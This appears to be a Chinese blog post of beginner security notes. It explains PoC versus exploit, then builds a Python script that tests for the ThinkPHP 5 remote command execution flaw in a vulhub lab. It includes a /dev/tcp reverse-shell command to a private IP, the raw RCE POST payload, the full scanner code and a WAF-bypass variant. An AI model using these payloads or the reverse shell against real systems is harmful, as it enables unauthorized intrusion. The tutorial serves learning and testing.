初探poc&exp

记录入门安全开发的学习笔记,供日后回顾。

poc和exp的区别

poc:漏洞验证

exp:漏洞利用

它们两个的本质区别是使用的 payload 不同 , 比如一个远程命令执行的漏洞 , 当payload是id/whoami这样的命令时 , 整个脚本或工具就是poc , 因为它只是执行简单的系统命令来判断目标是否存在漏洞。

如果payload是一串反弹shell的系统命令,比如 /bin/bash -i >& /dev/tcp/192.168.101.48/5656 0>&1 ,整个工具就是一个exp。

编写thinkphp5 rce的poc

首先要搭建vulhub环境,这里我用的ubuntu。搭建流程可以自行百度,我只展示我在搭建过程中遇到的问题及解决方法。

如果docker安装较慢,可以参考这篇:在ubuntu上安装cfw并使用

搭建好环境后,进入相应目录,并启动环境:

cd vulhub-master/thinkphp/5.0.23-rce
docker-compose up -d

如果在拉取镜像时出现:

需使用镜像加速器,参考:Docker安装完成运行hello-world镜像失败

重启后如果出现这种情况,运行 docker compose up -d 即可

在浏览器访问

OK,我们开始编写poc

post传参,数据包如下,访问网站的/index.php?s=captcha目录,system执行id命令

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

在github上下载一个bp的插件(burp-requests releases:Release v0.2.4 · silentsignal/burp-requests · GitHub),用于复制请求

将请求粘贴到pycharm中,这里我去除了burp0_

import requests

url = "http://192.168.41.139:8080/index.php?s=captcha"
headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0", "Origin": "http://192.168.41.139:8080", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://192.168.41.139:8080/index.php?s=index/\\think\\app/invokefunction&function=system(phpinfo)&vars[0]=100", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "Connection": "close"}
data = {"_method": "__construct", "filter[]": "system", "method": "get", "server[REQUEST_METHOD]": "id"}
requests.post(url, headers=headers, data=data)

将其放入main()函数。

为了测试网站是否存在该漏洞,我们需要输入被测网站的 URL,因此需要为 main() 函数设置一个参数。

import requests

def main(url):
    url = f"{url}/index.php?s=captcha"
    headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0", "Origin": "http://192.168.41.139:8080", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://192.168.41.139:8080/index.php?s=index/\\think\\app/invokefunction&function=system(phpinfo)&vars[0]=100", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "Connection": "close"}
    data = {"_method": "__construct", "filter[]": "phpinfo", "method": "get", "server[REQUEST_METHOD]": "-1"}
    requests.post(url, headers=headers, data=data)

然后写漏洞判断条件:如果返回状态码为200,且内容中存在uid=,则说明存在漏洞

    if response.status_code == 200 and "uid=" in response.text:
        print(f"[+]{url}存在远程命令执行漏洞")
    else:
        print(f"[-]{url}不存在远程命令执行漏洞")

当然,实际测试时,网站不一定能够正常访问,我们这里加一个try……except和一些参数,如有异常,直接退出

    try:
        response = requests.post(url, headers=headers, data=data, verify=False, timeout=5, allow_redirects=False)
    except Exception as e:
        print(f"[-]{url} 请求失败")
        print(e)
        sys.exit(1)

这样main函数就差不多了

def main(url):
    full_url = f"{url}/index.php?s=captcha"
    headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1",
               "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0",
               "Origin": "http://192.168.41.139:8080", "Content-Type": "application/x-www-form-urlencoded",
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
               "Referer": "http://192.168.41.139:8080/index.php?s=captcha",
               "Accept-Encoding": "gzip, deflate, br",
               "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "Connection": "close"}
    data = {"_method": "__construct", "filter[]": "system", "method": "get", "server[REQUEST_METHOD]": "id"}
    try:
        response = requests.post(full_url, headers=headers, data=data, verify=False,
                                 timeout=5, allow_redirects=False)
        # 2.判断是否存在漏洞
        if response.status_code == 200 and "uid=" in response.text:
            print(f"[+]{url}存在远程命令执行漏洞")
        else:
            print(f"[-]{url}不存在远程命令执行漏洞")

    except Exception as e:
        print(f"[-]{url} 请求失败")
        print(e)
        sys.exit(1)

继续往下,使用argparse模块接收用户输入的参数,并加上banner信息

if __name__ == '__main__':
    banner = """
,--------.,--.     ,--.        ,--.    ,------. ,--.            ,-----.
'--.  .--'|  ,---. `--',--,--, |  |,-. |  .--. '|  ,---.  ,---. |  .--'    ,--.--. ,---. ,---.
   |  |   |  .-.  |,--.|      \|     / |  '--' ||  .-.  || .-. |'--. `\    |  .--'| .--'| .-. :
   |  |   |  | |  ||  ||  ||  ||  \  \ |  | --' |  | |  || '-' '.--'  /    |  |   \ `--.\   --.
   `--'   `--' `--'`--'`--''--'`--'`--'`--'     `--' `--'|  |-' `----'     `--'    `---' `----'
                                                         `--'
                                                                                  version: 1.0
"""
    print(banner)
    # 使用argparse去解析命令行传来的参数
    parser = argparse.ArgumentParser(description="thinkphp5 rce exp",
                                     formatter_class=argparse.RawDescriptionHelpFormatter, epilog=textwrap.dedent(
            '''example:python3 tp5exp.py -u http://192.168.1.108'''))
    # 添加参数
    parser.add_argument("-u", "--url", dest="url", type=str, help="input a url")
    # 把参数的值解析到对象中
    args = parser.parse_args()
    main(args.url)

报错:

由于代理问题导致请求失败,改一下代码,禁用代理

proxies = {
    "http": None,
    "https": None,
}
response = requests.post(full_url, headers=headers, data=data, verify=False,
                         timeout=5, allow_redirects=False, proxies=proxies)

上述代码基本实现了漏洞检测功能。然而,如果目标网站使用了 WAF(Web 应用防火墙),system 命令可能会被拦截。我们可以通过修改 data 数据为 data = {"_method": "__construct", "filter[]": "phpinfo", "method": "get", "server[REQUEST_METHOD]": "-1"} 来绕过 WAF 的检测,并且调整判断条件,以使漏洞检测更加准确。

如有错漏,欢迎指正。

  • 7
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值